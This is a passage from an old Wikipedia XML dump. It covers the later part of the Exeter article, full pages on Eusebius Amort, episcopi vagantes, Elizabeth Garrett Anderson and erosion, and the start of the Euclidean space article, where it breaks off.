* The [[Exeter cathedral|cathedral]], founded in [[1050]] when the bishop's seat was moved from the nearby town of [[Crediton]] (birthplace of [[Saint Boniface]]) because Exeter's Roman walls offered better protection against &quot;pirates&quot;, presumably [[Viking]]s.  A statue[http://en.wikipedia.org/wiki/Image:Hooker-Statue.jpeg] of [[Richard Hooker (theologian)|Richard Hooker]], the [[sixteenth century]] [[Anglican]] [[theology|theologian]], who was born in Exeter, has a prominent place in the Cathedral Close.
* The [[ruins]] of [[Rougemont Castle]], built soon after the [[Norman Conquest]]; later parts of the castle are still in use as an [[Assize court]], though a new courts complex is under construction and the castle will probably become accessible to tourists as a result.
* The Guildhall, the oldest municipal building in England still in use.
* The Guild of Tuckers and Weavers, a fine old building that is still used for smart functions.
* The Custom House in the attractive Quay area
* St Nicholas Priory in Mint Lane.
* A number of medieval churches including St Mary Steps which has an elaborate clock.
* 'The House That Moved', a 14th century Tudor building, earned its name in 1961 when it was moved from its original location on the corner of Edmund Street in order for a new road to be built in its place. Weighing more than twenty-one tonnes, it was strapped together and slowly moved a few inches at a time to its present day home.

Many of these are built in the local dark red sandstone, which gives its name to the castle and the park that now surrounds it (Rougemont = red hill). A plaque near the gatehouse recalls that in [[1685]] [[Alice Molland]] the last person executed for witchcraft in England, was imprisoned in Exeter.

[[Northenhay Gardens]] located just outside the castle, is the oldest public open space in the whole of England, being originally laid out in [[1612]] as a pleasure walk for Exeter residents. Much of Northernhay gardens now represent Victorian design, with a beautiful display of trees, mature shrubs and bushes and plenty of flower beds. There are also many statues here, most importantly the War Memorial by John Angel and the Deerstalker by E.B.Stephens. The Volunteer Memorial from [[1895]], also in the gardens commemorates the formation of the 1st Rifle Volunteers in [[1852]]. Other statues include [[John Dinham]], [[Thomas Dyke Ackland]] and [[Stafford Northcote]] (a local landowner who was a Victorian [[Chancellor of the Exchequer]]).

==Culture==
===Literature===
[[Image:Riddle-pyramid-comp.jpeg|thumb|left|The Riddles in the High St]] 

The ''[[Exeter Book]]'', an original manuscript and one of the most important documents in Anglo-Saxon literature, is kept in the vaults of Exeter Cathedral. The Exeter Book dates back to the [[tenth century]] and is one of four manuscripts that between them contain virtually all the surviving poetry in [[Old English language|Old English]].  It includes most of the more highly regarded shorter poems, some religious pieces, and a series of riddles, a handful of which are famously slightly lewd.  Some of the riddles are inscribed on a highly polished steel obelisk in the high street, placed in 2004.&lt;!--I might have be a year out...--&gt;

The ''[[Inquisitio Eliensis]]'', the &quot;Exon Domesday&quot; (so called from the preservation of the volume at Exeter), is a volume of [[Domesday Book]] that contains the full details which the original returns supplied.

===Theatre===
The [[Northcott Theatre]] is located on the campus of the university and is one of relatively few provincial English theatres to maintain its own [[repertory|repertory company]]. Its annual open air [[William Shakespeare|Shakespeare]] performance in the grounds of Rougemont Castle is well regarded nationally.  There are also two amateur theatre buildings with associated companies.

The [[Barnfield Theatre]] was converted in 1972 from The Barnfield Hall which was built towards the end of the 19th century by Exeter Literary Society.  The theatre is a charity and is used as a venue for amateur and professional theatrical companies.

===Music===
*The Cavern Club in Queen Street is the place to go for live punk and indie music
*Exeter does not have a resident professional orchestra.  The [[Bournemouth Symphony Orchestra]] tours to the city regularly.
*The cathedral choir is nationally known, and the cathedral is frequently the venue for concerts by visiting orchestras.
*There is an annual Festival, of all the arts but with a particular concentration of musical events
*[[Children of the Drone]] is an improvisational music collective, based in Exeter since 2001

===Museums and galleries===
*The city museum is the [[Royal Albert Memorial Museum]] in Queen Street.
*The Phoenix Arts Centre occupies the former university site in Gandy Street.
*Spacex is a long established modern art gallery
Timepiece bar and nightclub

===Newspapers===
*[[Express and Echo]], daily (current)
*[[Flying Post]], weekly (discontinued [[1917]], but revived in [[1975]] as an alternative (polemical) community magazine)
*[[The Western Morning News|The Western Morning News]], a [[Plymouth]]-printed daily regional paper, is also popular

===Twin towns===
Exeter is [[twin towns|twinned]] with:
{|
| valign=&quot;top&quot; |
* {{flagicon|France}} - [[Rennes]] in [[Brittany]], [[France]]
* {{flagicon|Germany}} - [[Bad Homburg]] in [[Germany]]
| valign=&quot;top&quot; |
* {{flagicon|Russia}} - [[Yaroslavl]] in [[Russia]]
* {{flagicon|Italy}} - [[Terracina]] in [[Italy]]
|}
The city also seeks to maintain a relationship with [[HMS Exeter]].

==Colleges and Universities==
*The [[University of Exeter]] has two campuses in the city, both notable for their attractive parkland.  It is one of the largest employers in the city.
*Exeter is one of the four main sites of the [[University of Plymouth]]
*The [[Peninsula Medical School]], a joint operation of the two universities, has one of its main sites in Exeter
*St Loye's School of Health Studies, well known for training in [[occupational therapy]] has now been incorporated into the University of Plymouth.
*Exeter College is a major [[Further Education college]]
*Exeter is home to several substantial [[language school]]s
*Exeter School is the leading Independent School.

==Sports==
*Exeter's [[Football (soccer) |football]] club, [[Exeter City F.C.]], was relegated from [[the Football League]] in [[2003]] after 83 years' membership.
*[[Rugby Union]] is popular in the south-west: Exeter's team is the [[Exeter Chiefs]].
*The [[University of Exeter]] has a strong reputation in sport and regularly wins or comes close to winning national trophies in inter-university sports

==Transport==
===Road===
The [[M5 motorway]] to [[Bristol]] and [[Birmingham]] starts at Exeter, and connects at Bristol with the [[M4 motorway|M4]] to [[London]]. The older [[A30 road|A30]] road provides a shorter but sometimes slower route to London.

Going west, the [[A38 road|A38]] connects Exeter to [[Plymouth]] and South [[Cornwall]], whilst the A30 continues to [[Okehampton]] and North Cornwall.

===Rail===
There are two main line [[railway]] routes from Exeter to London, the faster [[Great Western Main Line]] route via [[Taunton]] to [[Paddington station|London Paddington]] and the slower [[West of England Main Line]] via [[Salisbury, England|Salisbury]] to [[Waterloo station|London Waterloo]]. Another main line, the [[Cross-Country Route]], links Exeter with [[Bristol]], [[Birmingham]], the [[Midlands]], [[Northern England]], and [[Scotland]]. Many trains on all three lines continue westwards from Exeter, variously serving [[Torbay]], [[Plymouth]] and [[Cornwall]].

Local branch lines run to [[Paignton]] (see [[Riviera Line]]), [[Exmouth, Devon|Exmouth]] (see [[Avocet Line]]) and [[Barnstaple]] (see [[Tarka Line]]). There is also a summer weekend service to [[Okehampton]] for access to [[Dartmoor]].

Exeter is served by two main railway stations. [[Exeter St Davids station|Exeter St David's]] is served by all services, whilst [[Exeter Central railway station|Exeter Central]] is more convenient for the city centre but served only by local services and the main line route to London Waterloo. There are also five suburban stations, [[St James Park railway station|St. James Park]], [[Exeter St Thomas railway station|Exeter St. Thomas]], [[Polsloe Bridge railway station|Polsloe Bridge]], [[Pinhoe railway station|Pinhoe]] and [[Digby and Sowton railway station|Digby &amp; Sowton]], served only by local services.

===Air===
There is a small [[Exeter_Airport|airport]] near the city and the local [[airline]], previously called [[Jersey European]] and [[British European]] but now known as [[Flybe]], is a significant local employer.  The Airport offers a variety of scheduled and [[Charter_airline|charter]] flights including a seasonal service to [[Toronto]] in [[Canada]].

==See also==
*[[Henry Phillpotts]]
*[[Exeter Book]]

==External links==
* [http://www.thisisexeter.co.uk/ Information site linked to the local newspaper]
* [http://dmoz.org/Regional/Europe/United_Kingdom/England/Devon/Exeter/ Exeter (DMOZ.org)]
* [http://www.exeterviews.co.uk/ ExeterViews], Information site / visitor guide
* [http://www.neweconomics.org/gen/z_sys_publicationdetail.aspx?pid=206 Clone Town Britain: The survey results on the bland state of the nation], identifying Exeter as the worst example of the towns surveyed
* [http://www.rtpi.org.uk/resources/press-releases/2005/pr20050613.pdf Press release from the Royal Town Planning Institute] condemning the NEF's &quot;clone town&quot; research as flawed
* [http://news.bbc.co.uk/2/hi/uk_news/england/devon/4610965.stm Devon city tops 'clone town' poll], a June 2005 [[BBC]] article about the survey
* [http://www.polsloe.com Community news and information for the Polsloe ward area of Exeter]
* Arts 
** [http://www.exeterphoenix.org.uk/ Exeter Phoenix Arts Centre]
** [http://www.northcott-theatre.co.uk/ Northcott Theatre]
** [http://cnuk.org/ CNUK Media Foundation]

{{SW_England}}
{{English Cities}}
[[Category:Towns in Devon]]
[[Category:Cities in Devon]]
[[Category:Exeter, Devon]]
[[Category:English county towns]]
[[Category:Cities in England]]
[[Category:Local government in Devon]]
[[Category:Shire districts]]

[[af:Exeter]]
[[ar:إكسيتر]]
[[de:Exeter]]
[[eo:Exeter]]
[[fr:Exeter]]
[[kw:Karesk]]
[[no:Exeter]]
[[simple:Exeter]]
[[fi:Exeter]]
[[sv:Exeter]]</text>
    </revision>
  </page>
  <page>
    <title>Eusebius Amort</title>
    <id>9692</id>
    <revision>
      <id>41523202</id>
      <timestamp>2006-02-27T22:54:26Z</timestamp>
      <contributor>
        <ip>167.128.59.208</ip>
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      <text xml:space="preserve">'''Eusebius Amort''' ([[November 15]], [[1692]] - [[February 5]], [[1775]]) was a [[Germany|German]] [[Catholic]] [[theology|theologian]].

Amort was born at Bibermuhle, near [[Tolz]], in Upper [[Bavaria]].Great, great, great, great, great grandfather to paul amort, he studied at [[Munich]], and at an early age joined the [[Canons Regular]] at [[Polling, Germany|Polling]], where, shortly after his ordination in 1717, he taught theology and [[philosophy]].
In 1733 he went to [[Rome]] as theologian to [[Cardinal (Catholicism)|Cardinal]] Niccolo Maria Lercari (d. 1757).

He returned to Polling in 1735 and devoted the rest of his life to the revival of learning in Bavaria.  He died at Polling in 1775.

Amort, who had the reputation of being the most learned man of his age, was a voluminous writer on every conceivable subject, from [[poetry]] to [[astronomy]], from dogmatic theology to [[mysticism]].  His best known works are:

*A manual of theology in 4 vols, ''Theologia eclectica, moralis et scholastica'' (Augsburg, 1752; revised by [[Pope Benedict XIV]] for the 1753 edition published at Bologna)
*A defence of Catholic doctrine, entitled ''Demonstratio critica religionis Catholicae'' (Augsburg, 1751)
*A work on indulgences, which has often been criticized by [[Protestant]] writers, ''De Origine, Progressu, Valore, et Fructu Indulgentiorum'' (Augsburg, 1735)
*A treatise on mysticism, ''De Revelationibus et Visionibus, etc.'' (2 vols, 1744)
*The astronomical work ''Nova philosophiae planetarum et artis criticae systemata'' (Nuremberg, 1723).

The list of his other works, including his three erudite contributions to the question of authorship of the ''Imitatio Christi'', will be found in [[C. Toussaint]]'s scholarly article in [[Alfred Vacant]]'s ''Dictionnaire de theologie'' (1900, cols 1115-1117). 

==References==
*{{1911}}

[[Category:1692 births|Amort, Eusebius]]
[[Category:1775 deaths|Amort, Eusebius]]
[[Category:German theologians|Amort, Eusebius]]

[[de:Eusebius Amort]]</text>
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  </page>
  <page>
    <title>Episcopi vagantes</title>
    <id>9693</id>
    <revision>
      <id>36419245</id>
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      <contributor>
        <username>Midnite Critic</username>
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      <minor />
      <comment>Revert.  There seems to be some consensus that this is not the place for dir.  Suggest sep. article.</comment>
      <text xml:space="preserve">'''''Episcopi vagantes''''' ([[Latin]] for &quot;wandering bishops&quot;) are persons who have been consecrated as [[bishop]]s in a [[Christianity|Christian]] church in some irregular fashion, especially those claiming to have valid [[Catholicism|Roman Catholic]] orders although their consecrations were not authorized by the Roman Catholic Church.  The Catholic Church generally considers at least some such consecrations [[valid but unlawful]], following the principle of &quot;once a bishop, always a bishop&quot; and therefore, &quot;once having the authority of a bishop, always having the authority of a bishop.&quot;  On the other hand, [[Eastern Orthodoxy]] follows another view, considering any consecration outside of the church as a whole as spurious. This is because, unlike for Roman Catholics, Orthodoxy traditionally has considered [[apostolic succession]] to exist only within the church as a whole, and not through any authority held by individual bishops. However, the normative view of the Roman Catholic Church and the disagreements on &quot;validity&quot; by some Orthodox patriarchs, bishops, and theologians, allows for the curious phenomeon of episcopi vagantes.

Many episcopi vagantes claim succession from the [[Old Catholic]] See of [[Utrecht (city)|Utrecht]], or from Eastern [[Orthodox]], [[Oriental Orthodox]], or [[Eastern Rites|Eastern-Rite Catholic churches]]; others from Roman Catholic bishops that have consecrated their own bishops after disputes with the [[Holy See|Vatican]].

Many, if not most, bishops so labelled are associated with [[Independent Catholic Churches]].  These bishops are both very liberal and very conservative, including a large number of gay and lesbian clerics. Episcopi vagantes include a significant number of conservative &quot;Continuing Anglicans,&quot; who have broken with the Anglican Communion over various issues such as prayer book revision, women's ordination, and sexual orientation differences.

According to the normative position of [[Roman Catholicism]], the consecration of a bishop is valid, even if outside the forms and norms of the church, so long as the bishop is in an indisputable line of succession of bishops dating back to the [[Twelve Apostles|Apostles]] and the rites of consecration are properly performed (see [[Apostolic succession]]). That is why Roman Catholics maintain that they recognize the validity of consecrations in Eastern Orthodox, Oriental Orthodox, Old Catholic, and the Assyrian Churches but do not recognize Anglican consecrations. Some Roman Catholic theologians doubt, however, the validity of ordinations of bishops or priests not for the service of a Christian community, but for the individual's isolated personal advantage.

Some people have claimed consecration as bishop in situations where it is questionable whether the consecration ever actually took place, which is a separate issue.

The term ''episcopi vagantes'' is sometimes seen as a pejorative term by members and clergy of Independent Catholic, Old Catholic, Continuing Anglican and similar sects.


== Bibliography == 

* ''Episcopi Vagantes and the Anglican Church''.  Henry R.T. Brandreth.  London: Society for Promoting Christian Knowledge, 1947.
* ''Episcopi vagantes in church history''. A.J. Macdonald.  London: Society for Promoting Christian Knowledge, 1945.
* ''Bishops at Large''. Peter F. Anson. New York City: October House Publishing, 1963.
* ''The Wandering Bishops: Apostles of A New Spirituality'' by Lewis Keizer. 2000 edition.
* ''Independent Bishops: An International Directory'', edited by Gary L. Ward, Bertil Persson, and Alan Bain. Apogee Books, 1990

see also &quot;Episcopi Vagantes and the Challenge to Catholic Ministry&quot; an MA thesis by James Ford, Pacific School of Religion, Berkeley, California, 1991.



[[Category:Catholics not in communion with Rome]]
[[Category:Episcopacy in Catholicism]]</text>
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    <title>Europa/Moon</title>
    <id>9694</id>
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      <comment>#REDIRECT [[Europa (moon)]]</comment>
      <text xml:space="preserve">#REDIRECT [[Europa (moon)]]</text>
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  </page>
  <page>
    <title>Elizabeth Garrett Anderson</title>
    <id>9695</id>
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      <minor />
      <comment>interwiki is</comment>
      <text xml:space="preserve">[[Image:Eganderson.jpg|frame|Elizabeth Garrett Anderson]]

'''Dr. Elizabeth Garrett Anderson, [[Doctor of Medicine|MD]]''' ([[9 June]] [[1836]] &amp;#150; [[17 December]] [[1917]]) was an [[England|English]] physician and [[feminism|feminist]], the first woman to gain a medical qualification in Britain.

She was the daughter of Newson Garrett, of [[Aldeburgh]], [[Suffolk]], where she was born in [[1836]], and the sister of [[Millicent Fawcett]].  Elizabeth was educated at home and at a private school. In [[1860]] she resolved to study medicine, an unheard-of thing for a woman in those days, regarded by some as almost indecent. Having obtained some more or less irregular instruction at the [[Middlesex Hospital]], [[London]], she was refused admission as a full student both there and at many other medical schools to which she applied.  Finally she studied anatomy privately at the London Hospital, and with some of the professors at [[St Andrews University]], and at the [[Edinburgh]] Extra-Mural school.  She had no less difficulty in gaining a qualifying diploma to practise medicine.  London University, the Royal Colleges of Physicians and Surgeons, and many other examining bodies refused to admit her to their examinations; but in the end the [[Society of Apothecaries]] allowed her to enter for the Licence of Apothecaries' Hall, which she obtained in [[1865]]. 

In 1866 she was appointed general medical attendant to St Mary's Dispensary, a London institution started to enable poor women to obtain medical help from qualified practitioners of their own sex.  The dispensary soon developed into the New hospital for women, and there Dr Garrett worked for over twenty years.  In 1870 she obtained the University of Paris degree of [[Doctor of Medicine|MD]] The same year she was elected to the first [[London School Board]], at the head of the poll for [[Marylebone]], and was also made one of the visiting physicians of the East London hospital for children; but the duties of these two positions she found to be incompatible with her principal work, and she soon resigned them. 

In 1871 she married James G. S. Anderson (d. 1907), a London shipowner, but did not give up her practice.  She worked steadily at the development of the New hospital, and (from 1874) at the creation of the [[London School of Medicine for Women]].  Both institutions have since been handsomely and suitably housed and equipped, the New hospital (in the Euston Road) being worked entirely by medical women, and the schools (in Hunter Street, WC1) having over 200 students, most of them preparing for the medical degree of London University (the present-day [[University College London]]), which was opened to women in 1877. In 1897 Dr Garrett Anderson was elected president of the East Anglian branch of the [[British Medical Association]].  

On the 9th November 1908 she was elected mayor of [[Aldeburgh]], the first woman mayor in the whole of England.  The movement for the admission of women to the medical profession, of which Dr Anderson was the indefatigable pioneer in [[England]], extended in her lifetime to every civilized country except Spain and Turkey. She died in [[1917]].

Quick notes:
* There is an Elizabeth Garrett Anderson Hospital on the Euston road in London -- this is the modern name of the New hospital mentioned above.
* she took part in the [[Suffragette]] movement

== External links ==
* http://www.spartacus.schoolnet.co.uk/WandersonE.htm

==References==
*{{1911}}

[[Category:1836 births|Anderson, Elizabeth Garrett]]
[[Category:1917 deaths|Anderson, Elizabeth Garrett]]
[[Category:British doctors|Anderson, Elizabeth Garrett]]
[[Category:Feminists|Anderson, Elizabeth Garrett]]
[[Category:Natives of Suffolk|Anderson, Elizabeth Garrett]]
[[Category:Women of the Victorian era|Anderson, Elizabeth Garrett]]

[[is:Elizabeth Garrett Anderson]]
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  <page>
    <title>Erosion</title>
    <id>9696</id>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/72.38.209.81|72.38.209.81]] ([[User talk:72.38.209.81|talk]]) to last version by Vsmith</comment>
      <text xml:space="preserve">{{mergefrom|Washout}}

[[Image:Erosion.jpg|thumb|225px|Severe soil erosion in a wheat field near Washington State University, USA.]]

'''Erosion''' is the displacement of solids ([[soil]], [[mud]], [[Rock (geology)|rock]], and other particles) by the agents of wind, water, ice, movement in response to [[gravity]], or living organisms (in the case of [[bioerosion]]). Although the processes may be simultaneous, erosion is to be distinguished from [[weathering]], which is the decomposition of rock. Erosion is an important natural process, but in many places it is increased by human [[land use]]. Some of those poor land use practices include [[deforestation]], [[overgrazing]] and road or trail building. However, improved land use practices can limit erosion using techniques like [[Terrace (agriculture)|terrace]]-building and tree planting.

A certain amount of erosion is natural and in fact healthy for the [[ecosystem]]. For example, [[gravel]]s continually move downstream in watercourses. Too much erosion, however, can cause problems, clogging streams with gravel, filling reservoirs with [[sediment]], reducing [[Soil degradation|soil fertility]] and [[water quality]].
 
==Causes==

[[Image:Eroded paddock.jpg|thumb|225px|Eroded paddock, [[Australia]]]]

What causes erosion to be severe in some areas and minor elsewhere? It is a combination of many factors, including the amount and intensity of [[rainfall|precipitation]], the [[texture]] of the soil, the steepness of the slope, ground cover (from [[vegetation]], rocks, etc.) and land use. The first factor, rain, is the agent for erosion, but the degree of erosion is governed by other factors.

The first three factors can remain fairly constant over time. In general, given the same kind of vegetative cover, you expect areas with high-intensity precipitation, [[sand]]y or [[silt]]y soils, and steep slopes to be the most erosive. Soils with a lot of [[clay]] that receive less intense precipitation and are on gentle slopes tend to erode less.

The factor that is most subject to change is the amount and type of ground cover. When fires burn an area or when vegetation is removed as part of timber operations, building a house or a road, the susceptibility of the soil to erosion is greatly increased.

[[Image:Erosion02.jpg|left|thumb|225px|Detail of erosion]]

Roads are especially likely to cause increased rates of erosion because, in addition to removing ground cover, they can significantly change drainage patterns. A road that has a lot of rock and one that is &quot;hydrologically invisible&quot; (that gets the water off the road as quickly as possible, mimicking natural drainage patterns) has the best chance of not causing increased erosion. 

Understandably, many human activities remove vegetation from an area, making the soil easily eroded. [[Logging]] and heavy [[grazing]] can reduce vegetation enough to increase erosion. But changes in the kind of vegetation in an area can also effect erosion rates. Different kinds of vegetation effect infiltration rates of rain into the soil. Forested areas have higher infiltration rates, so precipitation will result in less surface runoff, which erodes. Instead much of the water will go in subsurface flows, which are generally not erosive. Leaf litter and low shrubs are an important part of the high infiltration rates of forested systems, removing these can increase erosion rates. Leaf litter also shelters the soil from the impact of falling raindrops, which is a big agent of erosion. Vegetation can also change the speed of surface runoff flows, so grasses and shrubs can be instrumental here as well.

One of the most serious and long-running water erosion problems on the planet is in [[China]], on the middle reaches of the [[Yellow River]] and the upper reaches of the [[Yangtze River]]. From the [[Yellow River]], over [[1 E12 kg|1.6 billion tons]] of sediment flow each year into the ocean. The [[sediment]] originates primarily from water erosion in the [[Loess Plateau]] region of northwest China.

In [[materials science]], erosion is the recession of surfaces by repeated localized mechanical trauma as, for example, by suspended abrasive particles within a moving fluid.  Erosion can also occur from non-abrasive fluid mixtures.  [[Cavitation]] is one example.

== Erosion processes ==
[[Image:Bank erosion 5790.JPG|thumb|200 px|right|Bank erosion started by four wheeler [[all-terrain vehicle]]s, Yauhanna, South Carolina]]
[[image:Erosion2.jpg|thumb|right|A heavily eroded roadside near Ciudad Colon, Costa Rica.]]

===Gravity Erosion===
''[[Mass Wasting]]'' is the down-slope movement of rock and sediments, mainly due to the force of [[gravity]]. Mass wasting is an important part of the erosional process, as it moves material from higher elevations to lower elevations where transporting agents like streams and [[glacier]]s can then pick up the material and move it to even lower elevations. Mass-wasting processes are occurring continuously on all slopes; some mass-wasting processes act very slowly, others occur very suddenly, often with disastrous results. Any perceptible down-slope movement of rock or sediment is often referred to in general terms as a [[landslide]]. However, landslides can be classified in a much more detailed way that reflects the mechanisms responsible for the movement and the velocity at which the movement occurs.

''[[Slump]]ing'' happens on steep hillsides, occurring along distinct fracture zones, often within materials like [[clay]], that, once released, may move quite rapidly downhill. They often will show a spoon-shaped depression within which the material has begun to slide downhill. In some cases the slump is caused by water beneath the slope weakening it. In many cases it is simply the result of poor engineering along [[highway]]s where it is a regular occurrence. 

''Surface creep'' is the slow movement of soil and rock debris by gravity which is usually not perceptible except through extended observation. However, the term can also describe the rolling of dislodged soil particles 0.5 to 1.0 mm in diameter by wind along the soil surface.

===Water erosion===
Splash erosion is the detachment and airborne movement of small soil particles caused by the impact of raindrops on soil. Sheet erosion is the result of heavy rain on bare soil where water flows as a sheet down any gradient carrying soil particles. Where precipitation rates exceed soil infiltration rates, runoff occurs. Surface runoff turbulence can often cause more erosion than the initial raindrop impact. [[Gully]] erosion results where water flows along a linear depression eroding a trench or gully.

Valley or stream erosion occurs with continued water flow along a linear feature. The erosion is both downward, deepening the valley, and headward, extending the valley into the hillside. In the earliest stage of stream erosion the erosive activity is dominantly vertical, the valleys have a typical '''V''' cross-section, and the stream gradient is relatively steep. When some [[base level]] is reached the erosive activity switches to lateral erosion which widens the valley floor and creates a narrow floodplain. The stream gradient becomes nearly flat and lateral deposition of sediments becomes important as the stream [[meander]]s across the valley floor.

In all stages of stream erosion by far the most erosion occurs during times of flood when more and faster moving water is available to carry a larger sediment load.

===Shoreline erosion===
[[image:Coastal_Erosion.jpg|thumb|225px|Coastal erosion at [[Happisburgh]], [[Norfolk]], [[England]].]]

Shoreline erosion, on both exposed and sheltered coasts, primarily occurs through the action of currents and waves, but sea level change can also play a role. Sediment is transported along the coast in the direction of the prevailing current (longshore drift).  When the upcurrent amount of sediment is less than the amount being carried away, erosion occurs. When the upcurrent amount of sediment is greater, sand or gravel banks will tend to form. These banks may slowly migrate along the coast in the direction of the longshore drift, alternately protecting and exposing parts of the coastline.

===Ice erosion===
Ice erosion is caused by movement of ice, typically as glaciers. [[Glacier]]s can scrape down a slope and break up rock and then transport it, leaving [[moraine]]s, [[drumlin]]s, and [[glacial erratic]]s in its wake typically at the terminus or during [[glacier retreat]]. ''Ice wedging'' is the weathering process where water trapped in tiny rock cracks freezes and expands, causing the breakup of the rock. This can lead to gravity erosion on steep slopes. The [[scree]] which form at the bottom of a steep mountainside is mostly formed from pieces of rock broken away by this means. It is a common engineering problem wherever rock cliffs are alongside roads and morning thaws can drop hazardous rock pieces onto the road.

===Wind erosion===
'''Wind erosion''', also known as [[eolian]] erosion is the movement of rock and/or sediment by the wind. Windbreaks are often planted by farmers to reduce wind erosion. This includes the planting of trees, shrubs, or other vegetation, usually perpendicular or nearly so to the principal wind direction. The wind causes dust particles to be lifted and therefore moved to another region. Wind erosion generally occurs in areas with little or no vegetation, often areas where there is not enough rainfall to support vegetation.

==Tectonic effects of erosion==

The removal by erosion of large amounts of rock from a particular region, and its deposition elsewhere, can result in a lightening of the load on the lower crust and mantle. This can cause [[tectonic uplift|tectonic]] or [[isostasy|isostatic uplift]] in the region.

==Figurative use==
The concept of erosion is commonly employed in [[analogy]] to various forms of perceived&amp;#8212;or real&amp;#8212;homogenization, &quot;leveling out&quot;, collusion, or even the decline of anything from [[morality|morals]] to [[Indigenous peoples|indigenous cultures]]. It is quite a usual [[trope]] of the English language to describe as ''erosion'' the gradual, organic mutation of something thought of as distinct, more complex, harder to pronounce, or more refined into something indistinct, less complex, [[sound change|easier to pronounce]], or (disparagingly) less refined.

==Orgin of term==
The first known occurrence of the term &quot;erosion&quot; was in the [[1541]] translation by [[Robert Copland]] of [[Guido de Cauliaco]]'s medical text ''The Questyonary of Cyrurygens''. Copland used erosion to describe how [[ulcer]]s developed. By [[1774]] &quot;erosion&quot; was used outside medical subjects. [[Oliver Goldsmith]] employed the term in the more contemporary geological context in his book ''Natural History'': &quot;''Bounds are thus put to the erosion of the earth by water''.&quot;

== See also ==
{{wiktionary}}
*[[Erosion control]]
*[[Erosion prediction]]
*[[Badland]]
*[[Riparian strips]]
*[[Weathering]]
*[[Bioerosion]]

==Reference==
* World Bank 2001: China: Air, Land, and Water.

[[Category:Geomorphology]]
[[Category:Geological processes]]
[[Category:Soil science]]
[[Category:Agronomy]]
[[Category:Environmental threats]]

[[cs:Eroze]]
[[cy:Erydiad]]
[[da:Erosion (geologi)]]
[[de:Erosion]]
[[et:Erosioon]]
[[es:Erosión]]
[[eo:Erozio]]
[[fr:Érosion]]
[[gl:Erosión]]
[[hr:Erozija]]
[[it:Erosione]]
[[ja:浸食]]
[[lt:Erozija]]
[[nl:Erosie]]
[[no:Erosjon]]
[[pl:Erozja]]
[[pt:Erosão]]
[[sl:Erozija]]
[[fi:Eroosio]]
[[sv:Erosion]]
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[[zh:水土流失]]</text>
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  <page>
    <title>Euclidean space</title>
    <id>9697</id>
    <revision>
      <id>41008410</id>
      <timestamp>2006-02-24T13:11:02Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Metric]] to [[Metric (mathematics)]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">In [[mathematics]], '''Euclidean space''' is a generalization of the 2- and 3-dimensional spaces studied by [[Euclid]]. The generalization applies Euclid's concept of [[distance]], and the related concepts of [[length]] and [[angle]], to a [[coordinate system]] in any number of [[dimension]]s. It is the &quot;standard&quot; example of a [[finite-dimensional]], [[real number|real]], [[inner product space]].

A Euclidean space is a particular [[metric space]] that enables the investigation of [[topology|topological]] properties such as [[Compact space|compactness]]. An [[inner product space]] is a generalization of a Euclidean space. Both inner product spaces and metric spaces are explored within [[functional analysis]].

Euclidean space plays a part in the definition of a [[manifold]] which embraces the concepts of both [[Euclidean geometry|Euclidean]] and [[non-Euclidean geometry]]. One mathematical motivation for defining a distance function is the ability to define an [[Ball (mathematics)|open ball]] around points in the space. This fundamental concept justifies a [[differential calculus]] between a Euclidean space and other manifolds.  [[Differential geometry]] brings such a differential calculus into play, together with a technique of launching a mobile, local Euclidean space, to explore the properties of non-Euclidean manifolds.

==Real coordinate space==

Let '''R''' denote the [[field (mathematics)|field]] of [[real number]]s. For any non-negative [[integer]] ''n'', the space of all ''n''-[[tuple]]s of real numbers forms an ''n''-dimensional [[vector space]] over '''R''' sometimes called '''real coordinate space''' and denoted '''R'''&lt;sup&gt;''n''&lt;/sup&gt;.

An element of '''R'''&lt;sup&gt;''n''&lt;/sup&gt; is written '''x''' = (''x''&lt;sub&gt;1&lt;/sub&gt;, ''x''&lt;sub&gt;2&lt;/sub&gt;, &amp;hellip;, ''x''&lt;sub&gt;''n''&lt;/sub&gt;) where each ''x''&lt;sub&gt;''i''&lt;/sub&gt; is a real number. The vector space operations on '''R'''&lt;sup&gt;''n''&lt;/sup&gt; are defined by
:&lt;math&gt;\mathbf{x} + \mathbf{y} = (x_1 + y_1, x_2 + y_2, \ldots, x_n + y_n)&lt;/math&gt;
:&lt;math&gt;a\,\mathbf{x} = (a x_1, a x_2, \ldots, a x_n)&lt;/math&gt;
Real coordinate space '''R'''&lt;sup&gt;''n''&lt;/sup&gt; comes with a [[standard basis]]:
:&lt;math&gt;\mathbf{e}_1 = (1, 0, \ldots, 0)&lt;/math&gt;
:&lt;math&gt;\mathbf{e}_2 = (0, 1, \ldots, 0)&lt;/math&gt;
:&lt;math&gt;\vdots&lt;/math&gt;
:&lt;math&gt;\mathbf{e}_n = (0, 0, \ldots, 1)&lt;/math&gt;
An arbitrary vector in '''R'''&lt;sup&gt;''n''&lt;/sup&gt; can then be written in the form
:&lt;math&gt;\mathbf{x} = \sum_{i=1}^n x_i \mathbf{e}_i&lt;/math&gt;
Real coordinate space is the prototypical example of a real ''n''-dimensional vector space. In fact, every real ''n''-dimensional vector space ''V'' is [[isomorphic]] to '''R'''&lt;sup&gt;''n''&lt;/sup&gt;. This isomorphism is not [[Canonical#Mathematics|canonical]] however. A choice of isomorphism is equivalent to a choice of [[basis (linear algebra)|basis]] for ''V'' (by looking at the image of the standard basis for '''R'''&lt;sup&gt;''n''&lt;/sup&gt; in ''V''). The reason for working with arbitrary vector spaces instead of '''R'''&lt;sup&gt;''n''&lt;/sup&gt; is that it is often preferable to work in a ''coordinate-free'' manner (i.e. without choosing a preferred basis).

==Euclidean structure==

Euclidean space is more than just real coordinate space. In order to do [[Euclidean geometry]] one needs to be able to talk about the [[distance]] between points and the [[angle]]s between lines or vectors. The natural way in which to do this is to introduce what is called an [[inner product]] or ''dot product'' on '''R'''&lt;sup&gt;''n''&lt;/sup&gt;. This product is defined by 
:&lt;math&gt;\mathbf{x}\cdot\mathbf{y} = \sum_{i=1}^n x_iy_i = x_1y_1+x_2y_2+\cdots+x_ny_n.&lt;/math&gt;
The dot product of any two vectors '''x''' and '''y''' gives a real number. This product allows us to define the &quot;length&quot; of a vector ''x'' in the following way
:&lt;math&gt;\|\mathbf{x}\| = \sqrt{\mathbf{x}\cdot\mathbf{x}} = \sqrt{\sum_{i=1}^{n}(x_i)^2}&lt;/math&gt;
